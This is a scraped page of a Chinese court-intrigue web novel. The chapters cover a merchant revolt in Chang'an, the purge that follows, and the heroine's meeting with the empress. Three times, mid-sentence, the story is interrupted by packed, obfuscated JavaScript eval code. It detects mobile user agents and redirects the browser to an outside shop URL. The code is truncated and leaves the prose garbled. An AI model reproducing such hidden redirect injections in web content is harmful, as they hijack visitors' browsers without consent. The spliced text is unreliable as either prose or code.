35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14028117|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 定然在皇帝身边的那几个谋臣与幕后之人的撺掇,而此举恰恰证明了皇帝已然不再全然信任于他,或者说,他已经寻到了一把更为锋利的刀。 可是,焉知那把刀来日会不会成为刺向他的利刃呢。 裴瑛无暇再想这些事,当务之急,当以进宫为上,故此裴氏兄妹二人便也不曾耽搁,整肃衣冠之后便也登上了前往未央宫的辎车。 风雪不歇,铅灰色的层云重重地压在天际,往日气派辉煌的殿宇楼阁都淹没在一片的白色海洋之中,连接宫室的复道回廊在白茫茫的风雪之间也变得若隐若现。 巨大的白玉广场的尽头自三十六级长阶,直达未央宫前殿。 若站立丹墀之上,便可见未央宫的清一色的红衣黑甲青铜斧钺,自殿门始,下三十六阶长阶,树立在广场之上,一直蔓延到宫室的尽头,雪落满身,每一个人却如同铜树铁柱一般一动也不动,护卫者宫室的安危,其凛凛威势由此可见。 高阔各有两丈许的正殿正门打开,红毡自此往,便到了宏阔庄严的大殿深处,裴明绘第一次踏上庙堂之所,心中不免紧张,而后步调就有些杂乱。 裴瑛微微偏头,目光便落在她的面上,低声道,“莫怕,为兄在呢。” 这是裴明绘第二次见到九五之尊的皇帝,灯火煌煌辉映满殿,他便负手背对着他们站在丹墀之上,帝案之后,沉稳的玄金色袍服在宫灯的照耀之上游动着金色的光芒。 “臣裴瑛,叩见皇帝陛下。” “民女裴明绘,叩见皇帝陛下。” 皇帝正负手背对着他们,闻声方才缓缓转过身来,一抬手,是虽无波澜起伏却到足以震慑全场的声音:“平身罢。” 二人方才起身,裴明绘这才谨慎地抬起眼帘来,一寸一寸向上挪移着视线,越过铺着红毡的帝阶,玄金色的朝服,便停在了大汉天子的脸上,便为那眉宇之间的威严所震慑。 长眉如漆,凤眸深深,千斛丹墨绘就容颜,只这一抬眼的功夫,便让裴明绘真正地体会了上位者的威压。 不怒自威间,决天下之大事。 喜怒无常里,行杀伐生死权。 他与丹阳长公主眉眼很是相似,却又不同。 “裴卿,朕今日召尔等前来,便是为商榷长安大商暴乱一事。” 皇帝开门见山,他显然已经很是烦躁了,对于丞相留下的这堆烂摊子,他一刻也不想再拖延,急切地想要将其解决掉。 “今日看来,裴卿当日之言,却是良法。丞相之法,实在是糊涂得不行,若不是因他是朕的舅舅,焉有活命的道理。” 他喟叹道,诉说着自己不能诛杀自己的舅舅的遗憾。 “陛下息怒。” 裴瑛拱手躬身,安抚皇帝的情绪。 “长安今日境况虽乱,却也并不是无可解决,依臣之法,只要抓住为首之人,同时对附和之人加之治疗之法,便可平息动乱。” “今日召裴卿妹妹前来,便是感念裴卿妹妹为长安的大商皇商,精通商事,又乐善好施,多次力佐国家之急,朕今想裴卿妹妹当时精通商事,便也可襄助裴卿解决商事之上的一些麻烦事。毕竟商人一贯精明,但若以商治商,定会省去很大的麻烦。裴卿不会怪朕让裴卿的妹妹辛劳罢。” 皇帝笑了起来。 “臣与臣妹皆为陛下的臣子,为陛下效力乃是臣等荣幸。” 裴瑛极不愿意让裴明绘牵扯到政事上来,兼此事是个极其得罪人的事,一不小心就会踏入万劫不复之地。但这是皇帝的诏命,他也只得另寻他法,让裴明绘脱身于此了。 就在裴瑛裴明绘兄妹二人领命之后,就听皇帝话音又起,在宽阔的殿堂激起巨大的波澜:“朕知此事之艰难,特为裴卿寻了助手。” 他的话音刚落,黄门的尖锐声音极为突兀的插了进来:“宣温珩觐见——” 风雪呼啸而来,烛火晃动不息,空气也开始萦绕起焦灼而危险的气息,隐约间风声似乎游动着凛冽肃杀的剑鸣弦响。 沉稳的脚步声由远及近,缀着精铁甲叶的长靴稳稳踩过铺地红毡,雪落满肩的红色官袍随着他的脚步而摇曳。 裴瑛的目光倏然凌厉,他偏过头来,穿过漫长的甬道,投向了那缓步而来的人。 玉带银钩,锦绣红衣,绣衣使者,温氏温珩。 裴明绘一听通报,瞬间面色煞白心跳如鼓,听着逐渐逼近的脚步声,而后便是撩起衣袍的簌簌声,清润优雅的嗓音传入她的耳中,瞬间警铃大作。 “微臣温珩,叩见皇帝陛下,皇帝陛下万岁万岁万万岁!” “许久不见,温卿愈发沉稳了。”皇帝笑了起来,他显然很高兴见到久别的温珩,“想必西南之行,收获颇丰罢。” 温珩缓缓抬起头来,绯袍金冠,丹凤眸上氤氲一抹艳丽的晚霞红色,若细细辨去,便像极了一滴鲜血稀释在清水里的颜色,然后淡而无踪。 “微臣此行,虽多有波折,却也有颇为进益。”温珩的话尾微微上扬,“微臣昔日得陛下赏识,故虽做苦力却也不敢忘陛下之恩,今以戴罪之身得陛下传召,当殚精竭虑以报陛下之恩。” 裴瑛的眸中似乎隐匿着滔天风雪,唇畔的笑意也压制不住,他的目光投向温珩,正好温珩的余光也侧了过来,视线撞在一处,隐有金铁嗡鸣之声。 裴瑛不动声色地往前走了一步,将身侧的裴明绘挡了个严实。 “臣定与御史大夫,裴小姐协力同行,共除国害。” 他欢悦动听的声音似乎隐匿着无穷无尽的危险,直到离开未央宫前殿的时候,裴明绘的脑中一片空白。 这是她自二人分别之后的第一次见面,她全然没有想到温珩以戴罪之身竟然还可以得以面见陛下,竟还得到陛下的器重,并委以绣衣使者之职,为裴瑛之副手。 难道陛下不知道温珩因为裴瑛才去西南服刑的吗? 可是既然如此,陛下又为何偏偏要势若水火行若参商的二人共事呢? 殿外风雪愈盛,裴瑛先行执伞将裴明绘送到了车马场,仔细吩咐驭手将她送回裴府。 “哥哥。” 裴明绘又从一侧的车窗探出头来,用手挡住前头的风雪,看着裴瑛,关切地说道,“哥哥,万事小心。” 裴瑛微笑颔首,示意她不必担心,他目送车马辚辚而去,一直消失在了白茫茫的风雪里,方才转身,直奔御史大夫官署。 可相比于温珩的出现,还有更要紧的事,重重打击了裴明绘,几乎叫她的心神全部紊乱。 裴明绘甫一坐回车上,便一下子瘫坐在辎车之中,胸腔里的心脏扑通扑通直跳,几乎要从喉咙里跳出来,过速心跳让全身的血液都在上下冲击着,她捂住心口,不可置信地回想着大殿之上温珩的模样。 狭长的眉眼,优雅的薄唇,高挺的鼻梁,以及圆润的鼻尖,无一处不完美,若是单单看来,简直与裴瑛何其相似,可是这几近完美的五官组合起来,却与裴瑛的模样可谓差之远矣! 一个是空山新雨俊雅无双,一个是金玉其表狠辣其质。 裴明绘这才真正的慌乱起来,她这才想起来那夜为何自己手上会有脂粉,原来温珩是故意画成裴瑛的模样,他是故意的! 41. 第 41 章 漫天风雪飘荡,地上雪沫飞扬,黑色的靴尖将地上的那一瓣香正浓的梅花碾作红泥,温珩抬起头来,勾起一丝恶劣的笑来,看着跪了满地的郭府众人,不由笑得更加灿烂。 “温珩,你言而无信!” 郭升身负枷锁一身狼狈,满口是血控诉着温珩。 “你不是说只要有你在,你不会叫我们出事的吗!” 温珩抱臂而立,下颌不解地扬起了下来,凤眸闪过一丝狡黠,“我好像,并没有这么说过罢?” “什么!”郭升立即僵在了原地,隔着洁白无垢的雪花,看向红衣绣袍的少年,片刻之后,恍然大悟,而后立即大怒起来,“是你,是你说让我们抗命的,是你。” 若非有人暗中指挥,以他们的胆子,怕是这辈子都想不到用暴力的形式来反抗朝廷命令的方式。 毕竟有国舅丞相领头,加之民意涛涛大有不可违逆之事,更有道事法不责众,参与此事之人大多都是汉朝商业巨擘,如何能一体责杀呢? 除非皇帝真的不想要汉朝的商业了。 但他们显然没有意识到,因为漠北决战而引发的财政问题已经急迫到了无可转圜的地步,对此,很多事都可以为此让步。 同时,如今的皇帝可不是会为外戚所牵制的人物。 而代表皇帝意志的鹰犬酷吏在处理这些被定性为乱臣贼子的人,可丝毫不会手软。 或许皇帝在时,他们尚会披着仁义道德的皮囊而有所收敛,但现在皇帝不在,他们自然就可以为所欲为了。 “有证据吗?” 温珩倏然站住,目光放在了郭升身上,看着他,原本温柔中带着一丝妩媚的声音却在呼啸的风雪中形成一股无形的气压。 “等我们告到御前,温珩你就死定了!” 看到温珩骤然变化的脸色,郭升如同抓住了救命稻草一般兴奋起来,他欣喜若狂地挣扎着,枷锁却被站立在两侧的羽林卫摁住,动弹不得。 “你若识相,便当放了我们!否则,你就等着被族灭罢!” “哦,告到陛下面前。”温珩垂头,低低笑了起来,而后长眉一挑,便抬起了眼帘,黑色的瞳仁冷光一闪,还未等郭升还大笑着的头颅便被狠狠踩在了雪里,半颗脑袋都没了进去。 “你以为你还有机会?” “原本想让你们好走的。”温珩垂下了头,纤长的眼睫上承托了雪花,他本就生得好看,居高临下看去,一身红衣便是更显得他更加年幼无辜而又恶毒,“毕竟,你们不是送了我一好大政绩。否则,我也不会这么快得到陛下的赏识,重新回到朝廷。” 他的靴尖在郭升的太阳穴狠狠碾着,登时郭升疼得面目都扭曲了,眼睛血丝充盈,几乎都要暴突出来。 可踩着他的温珩却依旧是一副无辜稚子的模样。 “偏偏有人这么不识抬举。” 手起刀落,鲜血横飞,落在皑皑白雪上,仿佛朵朵绽开的红梅,有一些落在他白皙的面上,像是红透了的胭脂,绮丽柔靡。 他用手背擦去面上的鲜血,颇有嫌恶地就着梅枝上的新雪擦了擦手,而后目光扫过身负枷锁跪着的郭家众人,清点数目确定无错之后,方才负手离开。 一路走去,剑戟森寒黑甲林立,寒风卷着雪沫呼啸而过,温珩缓步走出郭府的大门,迎面而来便是撑伞而来的裴瑛。 黑色大氅,黛青深衣,宽袖凌风,渺然若仙人。 “裴大人,下官这厢有礼了。” 温珩一笑,拱手行礼,彬彬有礼,任谁也想不到这幅乖巧的皮囊之下是如何狠毒的心。 青色的伞面缓缓抬起,浸润霜寒的漆黑眼眸是一瞬间的风起云涌,可很快,裴瑛垂下眼眸,也笑了起来,“绣衣使者好大的威风,我何敢受你的礼。” 温珩也不恼,很是乖顺,道,“大人与下官皆是为陛下做事,所秉之皆为陛下之权威。下官初当要职,行事恐有偏颇之处,然当此之时,德政不能救世溷乱,赏罚岂足惩时清浊,非常之时当行非常之法不当之处,还请大人指正。” 裴瑛看着温珩,这个不过二十余岁的年轻人,话语间圆滑又不失锋芒,看上去人畜无害,却心思狠毒,他虽然有着将其千刀万剐之心,却也不得不忍耐着等待时机:“绣衣使者为陛下行事,我何敢指正什么。但我与绣衣使者同在庙堂,却还想奉劝使者一句,虽万方情伪佞谄日炽,然刚克正色尚未消亡,如此堂而皇之杀人灭口,未免太过放肆了些。” 他的语气平和,乍听并无谴责之意,可听在温珩耳中,却分外刺耳,他终是忍不住笑了起来,疑惑地说道,“大人这番话,真叫下官憬悟,下官以后,当效大人之行,还请大人拭目以待。” 裴瑛与他擦肩而过,余光越过风雪,正正落在温珩的身上,夹杂着风雪的寒意的声音落在温珩耳中。 “离裴明绘远些。”他收回目光,语气肃杀,闻之,令人顿生彻骨之寒,“否则我不介意用你的手段来对付你。” “下官等着,恭候御史大夫指教。” 温珩丝毫没有害怕的意思,他的笑意渐渐敛了起来,却又再一抬眸的瞬间,薄薄的唇角扬起了恶劣到几近诡异的笑,他的声音带着关切的疑惑,“只是如今杀了我,皇帝陛下那边,御史大夫你不好交差罢。” 裴瑛的脚步倏然定住,他缓缓回头,看着温珩的模样,也笑了起来,只是这笑容很轻蔑,似乎并没有将温珩放在眼里,“本官风闻,令尊的身体不太好,冬春之交革故鼎新,绣衣使者千万别因为总是操心别人的家事而忘了自己还有一位年高的父亲。” 话毕,温珩的笑容瞬间僵住了,他无比憎恨地阴狠地看着裴印,一口银牙几乎要咬碎。 “毕竟大汉以孝治国,绣衣使者方到朝廷当值,不知道此事,想必也情有可原。” 裴瑛与他擦身而过,带起一阵冷冽肃杀的风雪。 裴瑛裴瑛,我看你且有几时得意。 温珩冷哼一声,靴尖一踩马镫,利落翻身上马,就在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14057105|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬鞭之时,心中恶意翻涌,美眸轻移,恰与裴瑛的视线再度撞在一起。 隔着一帘风雪,他的眼神依旧幽深,杀意敛尽之后便只剩下冷漠,像是高不可攀的冰雪山巅,自上而下俯视着云云苍生。 温珩厌恶极了这种傲慢,他不明白,已然被先帝族灭而侥幸独活裴瑛,从何而来的这种的傲慢。 无家族支持孑然一身的裴瑛,又凭什么位列三公居此高位? 早晚有一天,他要将裴瑛拉下来,到时候,他且看他又有几分傲气在。 一时心中血气翻涌,但温珩碍于二人身份的差距,他也不能发作,只能银牙咬紧心中暗骂,用力一挥马鞭双腿一夹白马马腹,白马吃痛嘶鸣,扬起四蹄,轻盈踏雪而去:“驾——” 裴瑛收回目光,走进了郭府,一班御史随后跟进,凌乱飘飞的雪花飞扬不歇,渐渐遮住了他们的身影,只余一片天地茫茫。 * “什么!”裴明绘一下子站了起来,手里捧得的茶盏摔在了地上,登时四分五裂,茶水飞溅濡她的衣裙,“郭府真的夷了三族吗?那群人真的都杀了?都杀了?!” 聂妩抿紧了唇,沉默地点了点头,她又斟酌了许久,方才开口说道,“这次死了四百多人,听说刀斧手的刀都卷了刃了。” 裴明绘深深地闭上眼,她的脸色异常得惨白,唇紧紧抿成一条线,手指紧紧握住桌案,指节处都泛起了白。 她的思绪不可控制地飘到了那份决定他们生死的死亡名单之上。 因为她多年经理商事,故与长安诸位大商都十分熟稔,这次闹事之事,很多人都明里暗里参与其中,明面上的人自不必说,暗里借助哄抬物价的大商却也是不胜枚举多如牛毛,想激起民愤给朝廷施压。 所以她便草拟了最初的名单,而后交由裴瑛,再由裴瑛与众官员核实补充,而最后一场会议之后,众人无异议便开始拿人。 这是裴明绘第一次出席政|治会议,在这场大多都是酷吏的会议里,她因为太过纯良而颇为格格不入,她坐在裴瑛身后,以皇帝特许的身份,畏畏缩缩地与会。 裴明绘本千万个不愿,她虽是大商,却终归是尚未婚配的女子,与一班男子共处一室自是有很大的不便。 这还是次要的,最重要的是,这次温珩同她一样,是以皇帝特许的身份一同与会,参赞政务辅佐国事。 执行官吏如廷尉沈蓦,御史中丞李重,廷尉丞王何实,左内史苏止诸位大臣,而经济大臣则以大农丞桑弘羊为代表出席会议。 这是裴明绘第一次见到闻名遐迩的桑弘羊,这个自幼年时便以精于心算而闻名与群英荟萃的洛阳的男子,他就坐在长案之后,安静而又沉默,只在必要的时候提出询问与意见。 除了较为温良的一班经济大臣,其余每个人的身上都是一种极为冷酷的煞气,以及近乎无情的冷漠,细致缜密地商榷着如何对名单上的人物量刑。 而在这场会议里,裴明绘再次见到了温珩。 42. 第 42 章 就在众人悉数落座之后,温珩迟迟而至,白皙的脸上永远是颇有些妩媚的无辜的笑意,虽然在座的诸位大都心知肚明他是多么狠毒,但都为其笑吟吟的神情所迷惑。 刺目的日光落入屋内,照得他面容都在发光,他的目光梭巡而过,独独在裴瑛那里停顿过一瞬,二人的目光在撞在一起之时便迸出无形的火花,却又在分离的瞬间消失无迹,各自如常。 裴明绘心跳如鼓,暗自庆幸着,温珩的目光并未在她身上停留,大概是因为裴瑛的身子挡着她。 “千万别看我,千万别理我。” 她紧张到手心冒汗,只能暗自祈祷,在这种正式的场合,温珩千万搭理她。 如果温珩这个疯子在大庭广众之下扯出二人的旧事来,她简直不敢想结果会是什么样的。 彼时的她就像一只藏在草丛里的兔子,惊悸地度过每一分每一秒。 听闻后方紧张的呼吸声,裴瑛微微偏头,余光便落在了使劲低着头降低存在感的她的头顶,黑寂的眼睛微微眯起,惊起一池隐秘波澜。 这是一场决定他们的生死的会议,裴瑛与温珩也并未有言语上的争执,看上去就像是共襄国事上谦下恭的和谐场面。 任谁也不会想到两个人都怀着将彼此碎尸万段的心思。 但是因为皇帝的命令,两个人不得不聚在一处,“心平气和”地商议对策。 这场会议进行得非常顺利,经众人商榷之后,裴瑛朱笔一批便圈定族灭之人,而后便是弃市,流放之人。 以为首郭升罪名最重,皇帝特令绣衣使者温珩亲领羽林卫前去缉拿,其余众人以参与程度依次定刑,但大多都以斩首弃市。 裴明绘其实万万没有想到她所拟定的名单竟然会死这么多的人,或者说,名单上的人大都被判处了不同形式的死刑。 可是事情已成定局,等到红日临窗晚霞似绮之时,这场会议方才告知,每个人都匆匆而去,裴明绘乖乖地跟在裴瑛身后,一同往外走。 温珩也起身,一抬眼,便正好看见她跟在裴瑛身后,低着头,一句话也没有。 绚烂的夕阳霞光勾勒出她的侧颜,光影朦胧,似真似幻。 裴明绘察觉到了温珩的目光,顿时如芒刺背,可是好奇心却还是驱使着她偏过头去。 目光相撞在一起,隐隐激起欢悦的波澜。 这是裴明绘第一次清楚地看到温珩的本来面貌,美丽,妩媚,那双动人心魄的眸子闪着狡黠的光,让人误坠入那多情的海市蜃楼里,被内里涌动的狠厉波涛纠缠,然后坠入湖底,不得翻身。 柔和夕阳是最美的胭脂,照出少年最动人的容颜。 金冠玉带,锦衣朱服。 少年冲她一眨眼,眼中夕阳波光粼粼。 一道冷冷的目光插了过来,裴明绘顿感心惊,一回头便见那墨色的双眸染上了冷色,满是威胁之意。 裴明绘心里一空,不妙感随后涌上心头,暗道完道。 裴瑛的目光从她的身上挪开,便又放在了温珩身上,霎时所有冷意都不再加以掩饰,如利刃般冷冽却又锋芒毕露。 温珩微微眯起双眼。 原本松泛的气愤再度紧张起来,裴明绘夹在中间,分外难受。 她闭了闭眼,小心翼翼拽了拽裴瑛的袖子,将裴瑛的注意力引了过来。 裴瑛一把将袖子从她手中扯了出来,转身便疾步离开。 裴瑛扶额,只得快步跟上。 等到兄妹二人的身影消失在夕阳的余晖之下,温珩这才起身,金织银绣的衣袍簌簌作响。 在门外等候倚久的黄门总管心有余悸地看了看消失的裴瑛的身影,庆幸他们没有打起来,这才走了进来。 “包公公。” 温珩微笑着一拱手。 “陛下口谕,还请大人先去国狱看望丞相,陛下听说丞相的身体不太好,便特请温大人向丞相略表关怀之情。” 黄门总管与温珩一道往外走,冷风在夕光中游窜,干燥而又寒冷。 “还请公公代臣回禀陛下,陛下的意思,臣明白了。” * 正月初旬,皇帝因为皇太后的压力之下,决定释放在大牢的丞相,可是就在郎中令在狱丞的带领下,甫一推开门,却发现丞相已经面目扭曲身体僵直躺在稻草堆上,身上盖着皇帝御赐的狐裘,但他的身体都已经凉透了,连带着柔软的狐裘都冒着凉气。 很显然,丞相被吓死了。 对于丞相舅舅的死,皇帝深感痛悔,亲去丞相府告慰,念及其过往之功劳,便以厚葬,以来安抚皇太后失去弟弟的悲痛之心。 * 云消雪霁,春回大地,冰雪消融化作春水,汇入了破开坚冰涛涛东去的渭水,柳树也抽出嫩芽来,在柔和春风的吹拂下,一点一点染绿江水。 长安护城河内春水半满,粼粼波光间照出来往行人匆忙的身影,整座长安城业已度过了那段苦寒的岁月,开始一点一点慢悠悠地复苏过来。 裴明绘已经一月都没有出门了,最近的商事都交给了聂妩去处理,其实长安的商事大都处于停顿的状态,很多商人的家财都充了朝廷府库,原本繁华的东市大街一夜之间便萧条了。 与此同时,算缗告缗令有了突破性进展,天下的人也都开始举报有钱人瞒报财产,正所谓“告缗满天下,中家之上大抵皆遇告。” 而被告缗之人往往都不甘于自己的半数家财都被朝廷收去,于是开始想法设法申诉,而受理这些上诉的人并非廷尉府,而是直接上报了专门负责奉命讨奸、治狱,督察官员和亲贵的绣衣使者温珩那里,他看起来远比裴瑛要更会做官。 裴瑛尚且辅法而行,温珩则更会顺遂上意,直接视法律为无物,于是如山的申诉状书也很快被丢弃在御史府府库里生灰生虫去了。 文景之治之后,农不如工,工不如商,刺绣文不如倚市门的风气愈演愈烈,养育出很多家资以千万计的富商巨贾。 他们因其富厚,交通王侯,力过吏势,并巧取豪夺,兼并农人,以其厚而不佐国家之急。 但是就在他们对汉朝统治形成威胁之时,却因为战争的到来造成国库空虚财政支绌,皇帝也不得不打起了他们的主意,他们就算有心反抗也是胳膊拧不过大腿,很快文景之治而积累的民间财富也被皇帝收割完毕。 虽然商业凋零了富商穷苦了,但是皇帝的府库充盈了。 汉朝财政的危机也转圜过来了,可以全力支持对匈奴作战。 持续三年之久的财政危机业已度过。 河冰划开涛浪再起,春天再度随着春风一同到来大漠,汉朝进行最后反击的时候也随之到来。 急行二百里,单于夜奔忙。 勒石燕然城,封狼居胥山。 边塞喜报频传,大司马大将军谢无疾率主力追击匈奴,数战接捷,匈奴单于只能坐着六匹骡子拉的车,趁着沙尘暴抛弃主力部队灰溜溜地逃走了,他在路上只能悲哀地唱着歌。 “失我焉支山,令我妇女无颜色。 失我祁连山,使我六畜不蕃息。 ” 虽然单于奔逃无踪,但是大将军立即率部追击掩护匈奴留守人员以及辎重撤退的左贤王部,并将其全歼。 自此漠北之战告捷,汉朝过往屈辱也被一扫而净,当这个消息传到帝都长安的时候皇帝闻讯大喜,大宴群臣,以待大军凯旋而归。 与此同时,大农令署与少府寺开始最重要的事,便是杀敌建功的将士的赏金,这可是非常庞大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085228|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的数目,但是鉴于国库已然充盈,二府也就没有忧虑了。 虽然如此,对于帝国商业的问题,却也是不能任由它就这么衰败下去。 而裴明绘浸淫商事多年,自然明白商业凋敝所带来的后果。 她心中想道,算缗告缗给商业带来了打击,又何尝没有带来机遇? 不仅是个人的机遇,或者是整个国家的机遇。 她每每想到这一点,不由心跳过速。 当她将她的想法讲给已经冷落她许久的裴瑛听得时候,裴瑛陷入沉默。 裴明绘不明白他为什么默然无语,既不表示赞同,也不表示反对。 她知道,裴瑛永远都是向着她的。 但她不应该永远躲藏在他的羽翼之下,她既然有能力,便应当站出来,同他站在一处。 天空又泛起了鱼肚白,初春的清晨是清寒而又潮湿的,每一次的呼吸似乎都带着十足的水汽,阳光明亮而又刺目。 裴明绘方才从噩梦中醒来,深重的疲惫困扰着她,她本想再睡一会儿,可是如今已经辰时了,她也到了进宫拜见谢皇后的时候了。 按理说,进宫拜谒皇后乃是好事,裴明绘自然不该愁眉苦脸,以至于做了整晚的噩梦而不得安睡。 而她如此惊慌难安的原因,自然就是因为皇宫里面有温珩出没。 温珩有侍中的加官,可入禁中受事,她去宫中难保不会撞见他。 或者说,他难保不会来找自己。 “小姐……” 帐子外头传来春喜的声音,裴明绘这才把头从被子里伸出来。 烂摊子总得收拾不是吗,早晚都得碰上,她倒要看看温珩到底打得什么主意。 春喜夏荷二婢服侍裴明绘穿上素色深衣,有深色绘绣滚边,用丝带将同色腰带束起,悬上玉佩,裴明绘就往镜台出走去,她眉眼低垂,显然心不在焉。 她跪坐镜台之上,等着两位婢女前来是侍奉梳妆,很快,她如春水般柔顺光亮的长发便被轻柔地撩了起来,一只优雅修长,被春光照耀出玉一般的泽手执起搁在镜台上檀木梳篦,然后替她梳着长发。 裴明绘还在发呆,目光冷不丁扫过铜镜昏黄的镜面,看见了自己背后那颀长俊雅的身影,他正垂着如画一般的眉眼,认真替她梳着发。 “!” 裴明绘瞬间从迷蒙中惊醒,正欲扭身,却又被一只手按住肩头。 “别动。” 是裴瑛的声音。 波澜不起,很是平静。 于是,裴明绘也只得乖乖地坐着。 柔顺得发丝在他的手上,便如同缎带一样,他将发拢结于顶,用鲜艳的红丝绳分股系结,弯曲成鬟,最后将金簪固定,白皙的手指将长长的流苏放下,悬在耳畔。 “今日皇后唤你进宫,便是陛下对你的建议很感兴趣。为兄虽不愿你关涉政事,但当今的陛下并非庸常之君,并不会因为你是谁的妹妹而会对你网开一面,你只有自己有功绩才能站得住脚。今日之天下风起云涌,诸事大多扑朔迷离无定数,你既然有能力,便当自己去试一试。为兄自当全力支持于你。” 裴瑛的目光越过她,停留在昏黄的镜面之上,一寸一寸描摹着她的容颜,眼中闪过一些深沉的光晕。 裴明绘既欣喜又心惊,喜的是自己可以帮上裴瑛,惊的却是他真的同意了。 就在她准备回头之时,就听裴瑛的话锋突然一转,他按在自己肩上的手也更加用力。 “当然,我来此,不只是为着这件事。同时也是为了告诉你,莫要同不相干的纠缠。” “别我在心情好的时候,弄出一些不愉快。” “我虽不能同你一道去,但是你若同某人干系过密,也莫怪我不客气了。” 43. 第 43 章 缭绕椒房殿的馥郁檀香,安静侍立的宫娥,散漫淡漠的敲棋声无序地回响着。 谢皇后宛若月光流水一般美丽静谧,她穿着碧色的深衣,乌发挽起,佩之赤金凤冠,凤之口衔水晶,晶莹剔透。 她正倚靠在檀木凭几之上,纤细白皙的手指执着一枚圆润光泽的黑色棋子,目光轻轻落在棋盘上,秀丽的眉蹙起,显然在思忖着下一步该行在何处。 女御长走了进来通报御史大夫之妹裴小姐已然殿中等待,谢皇后方才将手中所执棋子轻轻搁在纵横交错的棋路之上,一旁的宫娥翡翠搀扶起皇后,后面一众随侍的宫娥也一并鱼贯而出。 跪坐的长信宫灯灯火闪烁,香雾自错金博山炉的山体镂空处缭绕而出。 裴明绘等候在椒房殿正殿之中,就听闻衣裙簌簌脚步踏踏之声,谢皇后已然在凤座之上落座,两侧灯火之光闪烁迷离,勾勒出她威严庄重却又美丽雍容的身形。 裴明绘方才起身,郑重叩首:“臣女裴明绘,叩见皇后娘娘,皇后娘娘千岁千岁千千岁。” “平身罢。”谢皇后白净温柔的面庞勾出一丝和蔼的笑意,“翡翠,赐座。” 裴明绘这才起身,在香雾迷离里,她第一次近距离见到了后宫之首的谢皇后,她正襟危坐在凤案之后,朱色凤凰漆屏之前,她微微扬起下颌,由此到洁白的颈项,便是画家之绝笔。 裴明绘入座之后,谢皇后先是问候一下她与她的哥哥,方才说到了今日要她前来的目的:“裴小姐久经商事,想必也看到了东市的景象,本宫甫听裴小姐的建言,便觉惊奇,本宫业与陛下商榷过,此法确实可行,若是行之,便可消除许多积久之弊病,不知,裴小姐可愿领衔之?” 裴明绘业已经过深思熟虑,便提群起身,再叩首,道,“妾以微末之身,得皇后娘娘提携,自当昧死以报。” 谢皇后的脸上漾出一片舒心的笑容:“此非本宫的意思,乃是陛下的意思。今商业凋敝,正当除弊革新,你的建议正当其时,来日当大有用处。只是你如今只是商贾之身,却无官身,来往行事若是总假他人之手,未免太多不便。可宫中尚未有专职女官,本宫良久思忖,决定受你廷女官加以侍中之职,入禁中受事。” 裴明绘万万没有想到自己竟然还有官职,她原本以为自己就只是以商贾之身辅以政策,只待落实之日便当全身而退。 怪不得今日哥哥那般说,他是早就知道自己会得到官职吗? 惊喜之余,裴明绘未免有些担忧,自己以女子之身,未免朝野不满,兼之朝廷又以儒学为官学,天知道那群占据朝廷的口舌伶俐的儒生们会说什么话。 但兵来将挡水来土掩,裴明绘恭敬叩首,再拜谢恩。 谢皇后欣慰地看着她,雍容的眉眼之上浮漾着一丝宽慰之意,她垂下眼睫,过了会儿又抬了起来,她看着跪在地上的女子,柔声道,“自我大汉定鼎以来,未曾有女子加官理事。你既有才华,又有机遇,还望你不要辜负陛下与本宫的期待。” 等裴明绘出了椒房殿之后,便在宫娥的引领下准备出宫,走过开满杏花的杏花林小径,她不禁沉醉在氤氲的杏花香里,陶醉在眼前着粉白相间的景色里。 雪色澄澈,胭脂万点。扶疏里,天辽阔。 清淡的带着糯米香的杏花香味扑鼻而来,让她上下起伏的心也逐渐稳定了下来。 经过了一个寒冬的漫长岁月,她几乎都要忘记了春天是这么美好。 裙裾拖曳过落满杏花花瓣的白色石砖,她抬头望想被花枝分割得斑驳的纯净的蓝色天空,清风过,簌簌杏花落。 杏花满枝头,像是琥珀或玉石精心雕刻而成,嫩黄的花蕊之上栖息着美丽的蝴蝶,扑闪着绚烂的翅翼。 透亮的阳光与斑驳的花影落在她的白玉般美丽的脸上,让她雪白肌肤发着柔和亮丽的光。 她的心神完全被摄住了,丝毫没有注意到原本引路的宫娥已经不见了身影。 缤纷杏林里,不速之客来。 一双黑色长靴踩过地上纯洁的杏花,这一次,它们没有被踩成花泥,而在长靴移开之后,依旧舒展着自己美丽的身躯。 危险在一步一步逼近,她却全然没有意识到,一片杏花打着旋从枝头飘落,落在她的鼻尖,而又旋转着飘落,跌入花海里。 有些痒。 她一回头去,正正撞进一双盈着笑的眼眸。 疾风过,杏花如雨倾。 依旧是那身艳丽夺目不可逼视的红色衣裳,收身裁剪勾勒长腿窄腰,乌发束之以金冠,眉目染之以朱红。 永远意气风发,永远嚣张跋扈。 他抱臂立在花雨之中,笑吟吟地看着她。 温柔,恣意,隐匿着恶鬼的嚣张。 “!” 